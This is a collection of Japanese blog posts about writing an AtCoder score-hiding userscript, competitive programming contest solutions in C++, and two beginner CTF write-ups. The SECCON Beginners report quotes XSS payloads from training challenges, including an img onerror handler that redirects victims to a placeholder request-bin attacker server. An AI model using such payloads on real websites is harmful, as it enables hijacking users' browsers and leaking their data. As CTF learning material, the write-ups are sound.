AtCoder向けのUserscriptを書いた話
はじめに
私は春に競プロを布教していた人です。
この記事は「初心者でもとりあえずやってみたらなんとかなったよ」ということを伝えたくて書きました。
とはいえ、何の根拠もなく語っていても「は?」と思われるので、競プロサイトであるAtCoder向けのUserscriptを書いた時の話をします。
かしこまった記事は書けないので、ですます調はここら辺で終わりにして気楽に書いていこうと思います。
語句の説明
- 競プロ
→ 競技プログラミングのこと。与えられた問題を「速く、そして正確に」解くパズルのようなもの。
→ オンラインで参加できる競プロのサイト。月に数回コンテストが開かれる。社長が面白い。
- Userscript
→ Wikipediaによると
「Userscriptは通常JavaScriptで書かれ、Webページを編集するソースコード」
などと書かれている。ChromeではTempermonkey、Firefoxではgreasemonkeyによる拡張機能により動作可能。Userscript自体はgreasyforkというサイトで配布されている。
インストールに関する記事は以下を参照されたい。 qiita.com
作ったもの
こちら。 AtCoderScoreHider
説明はリンク先の概要を参照されたい。
なぜ作ったのか
結論から言うと、私が欲しい機能だったからだ。
というのも、AtCoderの問題では、以下の画像のように問題ごとに配点が表示される。
配点とは厄介なもので、問題を解く前からその問題の難しさを無意識のうちに決めてしまうのだ。
(RPGで巨大な敵を見ると、戦わずして「逃げる」を選択してしまいそうになるアレだ。)
それが原因で、精進*1が進んでいなかったそんな夏休み。ある日Twitterを眺めていると、こんなツイートが流れてきた。
つまりはこうしたいわけですよ pic.twitter.com/EZXi5j74wf
— Mister (@mistter_gp) 2018年9月2日
その内容は、配点の部分の要素を"???"で置換するというもの。「これだ!」と思い、本人にコンタクトを取りアイデアを使わせていただいた訳だ。
こうした流れで、
AtCoderのページで表示される配点を"???"で置換するスクリプト
を作ることを目的として開発を始めた。
どうやって作るか - 計画編
さて、アイデアの許可を得て、作るものの方針も立った。
しかし、ここで1つの問題に突き当たる。
「これ、どうやって作るんだ?」
その当時、私はUserscriptなんて触ったこともなかった。
なぜアイデアの許諾など乞うてしまったのだ、アホか?
と思いつつも、埒が明かないので既存のUserscriptを観察して構造を理解することにした。
そこで参考にしたコードのうち、印象に残ったのは以下の3つのコードだ。
1. AtCoderVirtualContestNowColorize
Author: Kaito Tateyama
スクリプト作者による説明
AtCoder Virtual Contestで現在開催されているコンテストに色付けをします。
コードがシンプルで私のUserScriptの基本形になった。初心者にとってシンプルなコードはありがたい。
2. AtCoderPerformanceColorizer
Author: satanic0258
スクリプト作者による説明
AtCoder(betaサイト)のコンテスト成績表におけるパフォーマンス値・レート値に色付けを行います.コード中の perfColorizeMode , rateColorizeMode を指定することにより色づけ方法を変更することができます.
色付けモードをユーザ自身が編集できるという発想が印象的だった。Userscriptはユーザがダウンロードして使用するので、ユーザがコードを編集するというのは盲点だった。
3. ac-score-table-ja
Author: rsk0315
この方のコードはコメントが本当に面白かった。
例えば、
// この要素が確実に目的のものを指しているかがアレなのですが,まぁ大丈夫でしょう var flag = $($('.dropdown-toggle')[0]).children()[0].src;
や、
// XSS に対してアなはずなんですが,AtCoder 社を信じるみたいなことをします
などがある。いわゆるコメント芸というやつだ。
この方はAtCoderScoresの作者でもあるので、そちらのソースコードも覗いてみると面白いと思う*2。
他にも参考にしたコードはあるが、面倒なのでこの辺でやめておく。
さて、話を戻そう。
ソースコードの観察の結果、表示されるWebページのHTMLを取得して(1)、要素を書き換えたり追加したり(2)するという手法を取っていた。この仕組みが分かったらこっちのものなので、以下のようなコーディングの手順を立てた。
- 配点を隠したい部分の要素の取得
- 任意の隠したい部分に対する、要素の上書き
以上。手順を書くほどもない単純な作りだ。
これだけで少し満足した私は、この手順に従ってコーディングをすることにした。
どうやって作るか - コーディング編
さて、手順が立ってしまえば競プロerの私にとってこれは唯の問題に過ぎない。
今回の私のスクリプトは短めなので、計画していた時の方がよっぽど大変だった気がする。
1. 配点を隠したい部分の要素の取得
先ほどのコードを見るとJavaScriptかjQueryの2択だったが、jQueryは詳しくなかったので素のJavaScriptで書くことにした。編集したい部分の要素はdocument.querySelectorAll()
で取得できるので、やるだけだった。
2. 任意の隠したい部分に対する要素の上書き
要素は取得出来たし、文字列を代入するだけ。
ということで以下のようなコードを打ち込み、謎の自信を身に纏いつつEnterキーを「ッターン」と叩いた。
{取得した要素}.innerText = {上書き用文字列};
変化していない。
Chromeのデベロッパーツールで確認すると、取得していた要素はnodeList
で、大きさが2のListだったようだ。
{取得した要素}[0].innerText = {上書き用文字列};
として解決した。何のためにわざわざ同じ要素を2つも用意しているんだろうか。
何はともあれ、原因はわかったのでnodeListの扱いに注意しつつ、残りの実装を終わらせた。
公開にあたって
ひとまず、目的としていた部分の目標は達成できたので、書いたUserscriptを公開することにした。
1. 公開するまでにやったこと
公開にあたり、以下の3つのことに注意した。
- 可能な限り簡潔にかくこと
- 見て意味を理解しやすい変数名を用いること
- 理解の助けとなるコメントを書くこと
これらは、リーダブルコードに書かれていた内容を参考にした。
結果的にversion1.0.0のコードはかなり読みやすいコードになっていると自負している(まぁコード量が少ないだけなのですが)。
何はともあれ、コード自体は完成したので、公開することになった。
しかし、公開するにあたり、スクリプト名やバージョン等を書く必要があったので、とりあえず埋めて無事完成した。
スクリプト名は、AtCoderScoreHinder。この名前は数時間で変更される訳だが、その話はまた後で。
2. 公開してからやったこと
さて、公開してから以下のようなコメントが来た。
お疲れ様です。重箱の隅をつつくような指摘で申し訳ないですが、Hiderではないでしょうか…?
— keymoon (@kymn_) 2018年9月4日
おっしゃる通りです。凄く恥ずかしかった。ホントに。そして、指摘されてから10分程度でリネームした。
そして改善へ
このスクリプトを使用していて、色々と気になったので、以下の2つの改良を加えた。
1. リファクタリング
lambda式を用いることで、可読性のコードに書き換えた。
具体的には、関数名をhasError()
やisPrivatePage
等に書き換える等である。
また、コメントや宣言等をまとめることで、修正しやすいコードにした。
2. ユーザによる編集機能
このUserscriptは初期設定で配点を"???"に置換する。しかし、他の文字列に変えたい人がいるかもしれないと考え、置換文字列を変更できるようにした。
その他、置換するページをbool型の変数で定義することで、置換するか否かをユーザが編集できるようにした。
具体的には以下のような部分だ。
// --------------------------------------------------------------------------------------------- // 変更したい場合はここをいじってください var display_score = '???';// 点数の代わりに置換される文字列 var display_last_status = true;// 過去の提出コードの点数を表示するか否か var problem_page = true;// 問題ページで表示するか否か var top_page = true;// トップページで表示するか否か var source_code_page = true;// ソースコードページで表示するか否か var submitted_list_page = true;// 提出コード一覧ページで表示するか否か // ---------------------------------------------------------------------------------------------
今回の制作で感じたこと
制作をする上で感じたことは、計画を立てることが大変だったということだ。
競プロでは、そもそも問題が与えられるのでContestants*3はコードの実装方針とコーディング部分のみを意識すれば良い。
しかし、今回のスクリプトに関してはそうはいかなかった。なぜなら、問題が与えられないからだ。更に言えば、問題を決めるのは自分自身でどのように作るかというのも自分に委ねられる。そのため、ここが難しい部分で時間も要した。
ただし、逆に言えば計画が立ってしまえば残りの作業は楽だということだ(精神的に楽ということでコーディングが楽ということではない)。実際に、今回は計画を立てた結果、かなり楽にコードを実装することが出来た(単純に仕様が簡単だったのも理由の1つだが)。
何らかの開発をする時にこの事に気づかず、行き当たりばったりのコードを書いて詰むというパターンも無くはないと思う。そのため、今後は何をどのような順番で実装するのかを決めてからコーディングをするのも手かなと感じた。
おわりに
歪な構成で読みにくかった部分もある中、この記事を最後まで読んでくれたことに感謝する。何も考えずにこの記事の執筆を決めた訳だが、なんとかなったので良かった(真似しないでください)。
制作物を作り上げることは大きな達成感があって良いので、また何か作る機会があれば作ってみたい。
SECCON Beginners 名古屋 参加記
はじめに
この度、SECCON Beginners 名古屋に参加してきた。学びが多かった上に楽しかったので参加記を書こうと思う。
きっかけ
Twitter。
色々あって東京大会には出られず名古屋大会に参加することに。
前日までにしたこと
やったことは以下の2つ。
Kali LinuxのGraphical install
Arch Linuxと比べたら恐ろしく簡単だった。
こちらの記事に従ってインストールすると簡単だった。
https://freepc.jp/kali-linux配布資料の内容確認
事前に配布されていた資料を確認した。
非常に分かりやすく、理解の助けになった。
当日(会場入り前)
名古屋市内を散策。イチョウが綺麗だった。
名古屋城にも行ったが、入れなかった。
時間つぶしに名古屋城まで行って来たんですが、あそこって入城料かかるんですね。
— task4233 (@task4233) November 24, 2018
当日(イベント)
CTFについての講話[れっくすさん]
- CTFにはジャンルがある。
- Web
- Crypto
- Reversing
- Pwnable
- Programming
- 全強はあまりおらず、いくつかの分野でのエキスパートになる人が多い。
- 「勉強」するのではなく「楽しむ」ことが成長への近道。
Crypto[れっくすさん]
暗号を解読してFlagを獲得する分野。
数学要素が多めだと感じた。
以下、講義概要。
- What's 'Crypto'?
- 暗号に関する基礎知識
- 剰余(mod)について
- 逆元の定義とそれを求めるアルゴリズムの紹介
- RSA暗号方式の仕組み
- 暗号化・復号の演算について
- CTFで用いられる脆弱なRSAの紹介
- 暗号全般の話
- 乱数生成に対する攻撃
- 暗号問題を解くときに使用するツールの紹介
Web[ゆったんさん]
個人的に最も興味のあった分野。
攻撃が視覚化されるので楽しいね。
以下、講義概要。
- What's 'Web'?
- XSSについて
- Webサイトへのアクセスの流れ
- XSSの仕組みと事例
- XSSの実践
- 反射型XSS(一時的なXSS)
- JavaScriptのDOM操作を用いた攻撃
- 攻撃者サーバについて(requestsbin)
- 攻撃対象にXSSを踏ませる攻撃
Rev[みむらさん]
アセンブリ言語は強い。
逆アセンブルしてコードを読むって面白くないですか?面白いですね。
以下、講義概要。
- バイナリファイルについて
- OSごとのファイル形式判断
- xxdコマンド及びfileコマンドの紹介
- アセンブリ言語(x86)でのプログラミング
- CTFに向けて
- 32bit-64bit間での違い
- 引数の渡し方の違い
- システムコール命令の違い
- 32bit-64bit間での違い
CTFオリエンテーション
[Misc]
Welcome
やるだけ。
Calc
やるだけ。
私は脳死で暗算をしましたが、もっと利口な方法があると思う。
[Web]
Do alert
講義資料に沿って書いてあることをやるだけ。
ASカンパニー
講義資料に沿って書いてあることををやるだけ。
AOカンパニー
解法が3つある。
- 解法1(私の解法) 講義資料で紹介されていた、XSS-Challengeで紹介されていた方法を用いた。
<img src=“hoge” onerror=“document.location = “<request bin url>”;”
を書き込んであげると、 onerrror
以下のスクリプトが実行される。
- 解法2(他の方の解法)
onload
でスクリプトを実行させる手法。
<body onload=alert();/>
で実行できるので、 残りは講義資料に沿って解ける。
- 解法3(スタッフの方の解法) 大文字と小文字を混在させて実行させる手法。
<ScRiPt>alert();</ScRiPt>
で実行できるので、残りは講義資料に沿って解ける。
解法が複数あるのは好き。
Snippets
解けなかった問題。
以下、スタッフの方の解法概要。 1. とりあえずアカウントを作成してログインする。 2. ログイン後、add snippetsで実行したいスクリプトを書いておく。 3. 2.で書いたスクリプトを実行するスクリプトを書く。
登録したsnippetはraw textが見れるので、raw textの部分なら実行できるのでは?と考えることが突破のコツらしい。
難しかった。
[Crypto]
Go Fast
講義資料に書かれているPythonコードを実行するだけ。
Factoring
素因数分解をやるだけ。 反則かもしれないが、こちらのサイトを利用した。
このサイトで因数分解した後に、足し算をした。
SimpleRSA
講義中のRSA暗号の解法をやるだけ。
Find primes
分からなかった。 解法を聞き出せなかったので、他の方の記事で紹介されることを待つしかなさそう……
[Rev]
Find it.
catコマンドで覗くと、ctf4b{}
という感じのflagがある。
Read it.
分からなかった。 解放を聞き出せなかったので、他の方の記事で紹介されることを待つしかなさそう……
Disassemble it.
解けなかった。 IDAで起こしてループ回数0x7FF回 SECCONを入力することはわかったが、そのやり方が分からなかった。
以下のようなやり方があったようだ。
echo のループ
echoをfor文で実行してやると良いらしい。
仕組みさえ分かればExcelでも解けるという例であり、面白い問題だった。
結果
Misc(2/2), Web(3/4), Crypto(3/4), Rev(1/3)をACして、 1300点で1位だった。
(まさか1位になれると思っておらず、スクショは撮り忘れた)
講義資料に載っていた部分を参考にしただけなので、本当にラッキーとしか言いようがない。
Disassemble it.のように、バイナリをしっかりと読んで意味を理解するような問題が解けたら良かった。IDAツール等を駆使して、擬似コードに起こせるようになりたいね。
交流会
参加者の方々とスタッフの方々とお話ができた。
話していて感じたのが、以下の2つ。
- つよいひとは口を揃えて「全く分からん」や「詳しくない」と言うこと
- 本人の好きな分野を話している時は、本当に楽しそうに話してくださること
「好きこそ物の上手なれ」とはよく言ったもので、本当にその通りだと感じた。
感想
つらつらと書いてきたが、この記事を一言でまとめると
「CTFは楽しい」
ということだ。
解けないと辛いが、解法を発見したり理解した時の楽しさはやはり良い。
競プロもそうだが、勉強としてやるのではなく趣味として長く続けられると良いな。
最後に、SECCON Beginnersの運営スタッフの方々および会場設営に従事してくださった方々に感謝申し上げます。 本当にありがとうございました。お疲れ様でした。
AGC027 - 参加記録
問題リンク
Tasks - AtCoder Grand Contest 027
はじめに
この記事では、今回の参加記録が書かれています。
上にもくじがあるので、ご活用ください。
結果
1完で379位でした。
最近速解きが顕著になっているなぁと改めて感じます。
以下、解いた問題と解説です。
A - Candy Distribution Again
問題
人の子供に個のお菓子を配る。
人目の子供は個のお菓子を貰うと喜ぶ。
この時、喜ぶ人間の最大値を求めよ。
制約
入力は全て整数
1 ≦ ≦ 100
1 ≦ ≦ 109
1 ≦ ≦ 109
解説
ソートして小さい順に配って行き、その都度答えを1ずつ加えていく。
ぴったり配りきれたら、さらに1加えれば良い。
提出コード
Submission #3198862 - AtCoder Grand Contest 027
感想
順位表を見てC問題にシフトしたが、解けなかった。
B, C問題は解き直す。
CyberRebeatCTF - WriteUp
問題リンク(ログインしてください)
https://cyberrebeat.adctf.online/en/contests/2/problems
はじめに
この記事では、今回の参加記録および解けた問題の簡単な解説が書かれています。
上に目次があるのでご活用ください。
結果
1677点で72位でした。
結果(Binary〜Programming)
Binary | Crypto | Exercise | Misc | Programming |
---|---|---|---|---|
0/3 | 1/3 | 1/1 | 1/2 | 2/3 |
結果(Recon〜Web)
Recon | Stegano | Trivia | Web |
---|---|---|---|
2/3 | 1/3 | 2/2 | 2/3 |
解説
Crypto
Rotation
問題文からシーザー暗号らしきことがわかります。
しかし、単純にずらすだけでは先頭の文字列がCRCTFではありません。
数字の部分だけずらしてCRCTFにすればFLAGを得られます。
Excercise
やるだけです。
Misc
Readme
最初の文がCAN YOU READ JAPANESE?と読めます。
したがって、それに従い最後の文を訳せばFLAGを得られます。
Programming
Calculation
提示されたコマンドを叩くと四則演算の問題が出てきます。
それを単純に解いて答えていけばFLAGを得られます。
Prime Factor
提示されたコマンドを叩くと問題が与えられます。
問題の内容は数字を素因数分解して最大の素因数を返すというものです。
エラストテネスの篩を用いて素因数分解分解してmaxを返す関数を作れば良いです。
単純に解いていけばFLAGを得られます。
Recon
Tweet
Twitterのアカウントを見ると以下のツイートからFLAGを得られます。
CRCTF{CyberRebeatCTF_has_started!}
— CyberRebeat (@CyberRebeat) 2018年9月8日
CyberRebeatScripts
GitHubのhistoryから差分を見るとFLAGを得られます。
Stego
Secret.pdf
与えられたpdfを確認して、文字列をコピーするとFLAGを得られます。
Trivia
Monero
Monero関係の事件を調べれば問題が答えがすぐに得られました。
xn--eck3a9bu7culw30roe4arcdo69l1ja456a.xyz
Crossword
問題を解くだけです。 ググれば解けます。 調べている途中で答えが予測できたので、それをFLAGとして提出しました。
Web
White Page
hidden要素を消してログインすればFLAGが得られました。
Let's Tweet
投稿してリンクをPOSTするとFLAGが得られる。
感想
初の常設でないCTFでした。
簡単な問題は大分解けた気がします。
ProgrammingのVisual Novelsは手入力で解けたらしいので、もう少し粘っていれば解けたのかも。残念。
Binaryはほとんど解けなかったので、他の方のWriteUpを見てしっかりと復習します。
ABC109 - 参加記録
問題リンク
Tasks - AtCoder Beginner Contest 109
はじめに
この記事では、今回の参加記録およびABC109の問題・解説が書かれています。
上にもくじがあるので、ご活用ください。
結果
全完で57位でした。
なぜかエスパーで解法が降ってきたので速く解けたのだと思います。
以下、各問題と解説です。
A - ABC333
問題
1以上3以下の整数, について、が奇数となるような1以上3以下の整数Cが存在するか判定せよ。
制約
入力は全て整数
1 ≦ , ≦ 3
解説
以前のABCでも似たような問題が出ていました。
(問題名を忘れました。申し訳ないです。)
積が奇数となるのはかけられる数が全て奇数の時なので、
A, Bが共に奇数の時に「Yes」それ以外の時に「No」を出力すれば良いですね。
提出コード
Submission #3151300 - AtCoder Beginner Contest 109
B - Shiritori
問題
N個の単語について、以下のルールを満たしている時に「Yes」を、そうでない時に「No」を出力せよ。
ルール
同じ言葉を2回以上使っていないこと。
1つ前の最後の文字と今発言する最初の文字が同じであること。
制約
2 ≦ ≦ 100
は英小文字からなる1以上10以下の長さの文字列である。
解説
制約からN2でも問題なさそうなので、ルールを守っているかを愚直に確認すれば良いですね。
提出コード
Submission #3152586 - AtCoder Beginner Contest 109
C - Skip
問題
数直線上にある個の都市があり、 番目の都市は座標にある。
あなたはある整数を設定すると以下の移動が行える。
1: 座標から座標に移動する
2: 座標から座標に移動する
ここで、あなたが座標から出発した時の全ての都市を回れるDの最大値を求めよ。
解説
この問題はごちゃごちゃしていますが、
重要なのは「座標から座標にのみ移動出来る」ということですね。
例えば、1と5という座標があったとき、
この時のの最大値は4ですね。
この例を観察すると「4」という数字について、
「5 ≡ 1 (mod 4)」すなわち「5 % 4 == 1 % 4」という性質があり、
「座標間の距離についてを法として合同(mod D)」であることが分かります。
この問題ではの最大値を求めるため、
各点との距離の最大公約数を求めれば「座標間の距離についてを法として合同(mod D)」を満たし、かつ最大のを求められますね。
したがって、各点間の距離のgcd(最大公約数)を取れば良いです。
余談ですが、RADの最大公約数って曲いいですよね。
提出コード
Submission #3153766 - AtCoder Beginner Contest 109
D - Make Them Even
問題
のマス目について、マスに枚のコインが置かれている。
以下の操作を何度でも行える時、偶数枚のコインが置かれたマスの数を最大化せよ。
操作
- 選んだことのないマスのコインを1枚選び、そのマスの上下左右のマス1つに移動する
制約
入力は全て整数
1 ≦ ≦ 500
0 ≦ ≦ 9
解説
各マスの数をmod 2で考えれば良いです。
言い換えれば、2進数の最下位の数にのみ注目すれば良いです。
なぜなら、下2桁以上はどのような数であろうと必ず偶数になるからです。
したがって、全てのマスを% 2
で置き換えて以下のように操作すれば良いでしょう。
(見たマスの枚数 % 2) が「1」である。
見たマスが右下の端である(座標が(H, W)のとき)。
- スルー。
見たマスが右端である(座標が(*, W)のとき)。
- そのマスのコインを下に移動し、下のマスの枚数を
+1
する。
- そのマスのコインを下に移動し、下のマスの枚数を
それ以外
- そのマスのコインを右に移動し、右のマスの枚数を
+1
する。
- そのマスのコインを右に移動し、右のマスの枚数を
(見たマスの枚数 % 2)が「0」である。
- スルー。
ジグザグ解いているContestantもいましたが、そちらの方が良いんでしょうかね?
提出コード
Submission #3156056 - AtCoder Beginner Contest 109
感想
今回は上手くいったので満足しています。
次回のAGCもうまいこと行くと良いな。
それと現在開催中のCRCTFですが、全完チームはやはり凄いなぁという気持ちです。
ARC102 - 参加記録
問題リンク
Tasks - AtCoder Regular Contest 102
はじめに
結果
今回は1完で594位だった。
1完を目的としていたので、それは達成できて良かった。
あと2分速く解けていれば水色パフォだった……
C - Triangular Relationship
問題
問題リンク →
考察と解法
が全ての倍数であることから、
% = % = % = 0 - (1)
がわかる。
さらに、を固定すると、
% = 0 より % = % . - (2)
% = 0 より % K = % . - (3)
(1), (2), (3)より、
% = % % ) = 0
を満たしていればが全ての倍数であることを満たす。
そして、(2),(3)を満たすようなb, cは余りが % となるものなので、その個数はそれぞれである。
最後に、をからまで回すと答えが導出できる。
以下、提出コード。
Submission #3116072 - AtCoder Regular Contest 102
D - All Your Paths are Different Lengths
問題
問題リンク →
D - All Your Paths are Different Lengths
考察
頂点数が 106 であるから220 が関連していそうなことは見通しがついた。
ただし、実際にグラフを作ってみると、この解法だと頂点数が21無ければならず、辺の数が足りないことに気づく。
さらに、大きい方の重みから作っていけば辺の数を減らしていくことができそうだが、明らかに足りないことにも気づく。
ここでARC終了。
感想
1完できて良かったが、Cはもう少し速く解ければ良かったかな……
Dもただ重みをつけるだけでなく、重みのつけかたを工夫する必要があった。
逆に言えばもう少しでACできそうだったので、次こそDを解きたい。
ABC106 - 参加記録
問題リンク
Tasks - AtCoder Beginner Contest 106
はじめに
この記事では、各問題の考えの流れが大まかに書かれている。 後述するが、3完だったためD問題のみ少し深めに書いた。
問題へのリンクは上の目次等を活用してほしい。
結果
今回は3完2WAで788位だった。
最近のコンテストはダメダメなので、悲しくなってくる。
それはさておき、改めて問題を見直してみると双子コンとしてはそこまで邪悪でなかったように感じた。
このコンテストは全完したかった……
問題
A - Garden
算数の問題。
(A - 1) * (B - 1)
で、解が求められる。
ちなみに、灰色の部分の面積は
A * B - (A - 1) * (B - 1)
と書くとバグが少なそう。
B - 105
「N以下の奇数oに対して、約数をちょうど8つ持つoの数を求めよ」という問題。
「奇数oが約数をちょうど8つ持つこと」は、
「以下に、oを割り切れる数がちょうど4つ存在すること」と同義である。
したがって、oという奇数をforループで回し、
までで割り切れる数を数えるために更にforループで回すので、
で解くことができた。
C - To Infinity
問題を見て、非常に大きな回数だけ変化することから、
K文字目までに1
があるか否かを判定すれば良いということはすぐにわかった。
ただし、K文字目までを探索範囲にしてしまうと範囲外アクセスをしかねないので、右端の要素はstd::max(K, S.size())
とした。
D - AtCoder Express 2
ACできなかった問題。
少し詳しめに書く。
問題文
N個の都市とM本の電車が存在している。
M本の電車のうちの電車iはからの閉区間を走っている。
ここで、都市番号pと都市番号qが与えられた時、走る区間が完全に含まれる列車の本数、
言い換えればかつが成立するような列車の本数について、Q個の質問にそれぞれ答えよ。
制約
- 1 ≦ N ≦ 5 102
- 1 ≦ M ≦ 2 105
- 1 ≦ Q ≦ 1 105
- 1 ≦ ≦ N (1 ≦ i ≦ M)
- 1 ≦ ≦ N (1 ≦ i ≦ Q)
方針決め
厄介なのは、「1 ≦ Q ≦ 1 105」であること。
すなわち、クエリを受け取ってからできる操作は高々「102〜103程度」しかないということである。
したがって、事前に与えられたデータに処理を加えて、O(1)からO(103)程度で解を求められるようにする必要がある。
事前に行うデータ処理の方針を立てる
前処理の1つとして、累積和を取るという方法がある。
累積和を取れば、O(1)で区間[, ]に含まれる列車の本数を求めることが可能となる。
まず、累積和を取る下準備として二次元配列d[MAX_N][MAX_N]
を用意する。
各要素の意味は、
d[列車jの停車駅の左端 ][列車jの停車駅の右端 ]
である。
そして、この配列の累積和を取っていく。
累積和の取り方については、親切にも問題文にヒントが書かれていた。
それは、
都市 から都市までの区間に, 走る区間が 完全に含まれる 列車の本数.
言い換えれば, とが両方成りたつような列車jの本数.
という部分である。
ここから、累積和の取り方は、
について、前に積み上げる
(なぜなら、がを満たしているとき、同時に +1 も+1を満たしているため)について、後ろに積み上げる
(なぜなら、がを満たしているとき、同時に-1も-1 を満たしているため)
という方針が立つ。
実装する
以上の内容を実装すると、以下のようになる。
#include <bits/stdc++.h> using namespace std; #define FOR(i,a,b) for(int i=(int)a;i<(int)b;++i) #define RFOR(i,a,b) for(int i=(int)b-1;i>=(int)a;--i) #define REP(i,n) FOR(i,0,n) #define RREP(i,n) RFOR(i,0,n) void CINT(){} template <class Head,class... Tail> void CINT(Head&& head,Tail&&... tail) { cin >> head; CINT(move(tail)...); } #define CIN(...) int __VA_ARGS__;CINT(__VA_ARGS__) const int MAX_N = 575; // d[l][r] int d[MAX_N][MAX_N]; int main() { cin.tie(0); ios::sync_with_stdio(false); CIN(N, M, Q); REP(i, M) { CIN(L, R); L--; R--; d[L][R]++; } // 後ろから前に積み上げる(iはNから0に下がっていく) RREP(i, N + 1) { REP(j, N + 1) { d[i][j] += d[i + 1][j]; } } // 前から後ろに積み上げる(jは0からNに上がっていく) REP(i, N + 1) { REP(j, N + 1) { if (j > 0) { d[i][j] += d[i][j - 1]; } } } REP(qi, Q) { CIN(p, q); p--; q--; cout << d[p][q] << endl; } return 0; }
別解法(BIT)
BITを二次元で持つことでもっと簡単にかける。
BITについては蟻本やslideshareを漁れば良いと思う。
以下、ソースコード。
#include <bits/stdc++.h> using namespace std; #define EACH(i,a) for (auto& i : a) #define FOR(i,a,b) for(int i=(int)a;i<(int)b;++i) #define RFOR(i,a,b) for(int i=(int)b-1;i>=(int)a;--i) #define REP(i,n) FOR(i,0,n) #define RREP(i,n) RFOR(i,0,n) #define ALL(a) (a).begin(),(a).end() #define debug(x) cerr << #x << ":" << x << endl; #define OK(ok) cout << (ok ? "Yes" : "No") << endl; typedef long long ll; void CINT(){} template <class Head,class... Tail> void CINT(Head&& head,Tail&&... tail) { cin >> head; CINT(move(tail)...); } #define CIN(...) int __VA_ARGS__;CINT(__VA_ARGS__) #define LCIN(...) ll __VA_ARGS__;CINT(__VA_ARGS__) #define SCIN(...) string __VA_ARGS__;CINT(__VA_ARGS__) const int INF = 1e9 + 1; const int MOD = 1e9 + 7; const int MAX_N = 1e5 + 1; template< class Abel > class BIT { public: BIT(int _n) : N(_n) { init(); } void init() { // [1, N]の範囲なので、+1する必要がある bit.clear(); bit.resize(N + 1, 0); } void add(int i, Abel x) { while (i <= N) { bit[i] += x; i += i & -i; } } Abel sum(int i) { Abel sm = 0; while (i > 0) { sm += bit[i]; i -= i & -i; } return sm; } Abel getSum(int _x, int _y) { return sum(_y) - sum(_x - 1); } private: int N; vector< Abel > bit; }; int main() { cin.tie(0); ios::sync_with_stdio(false); CIN(N, M, Q); vector< BIT< int > > bit(N + 1, BIT< int >(N + 1)); REP(i, M) { CIN(L, R); REP(j, L + 1) { bit[j].add(R, 1); } } REP(qi, Q) { CIN(p, q); cout << bit[p].sum(q) << endl; } return 0; }
感想
コンテスト中のコードを見てきたが、方針は正しかったのに、実装でiとjの添字を逆にしたり、ループの向きを逆にしたりしていた。
先ほど見たときは割とすぐに見つけられたので、コンテスト中の焦りで目が曇ったのだろうと思う。
本番に弱いというよりかは、場数が少ないことによるものだと思うので、今後は積極的に海外コンにも参加しようと思う。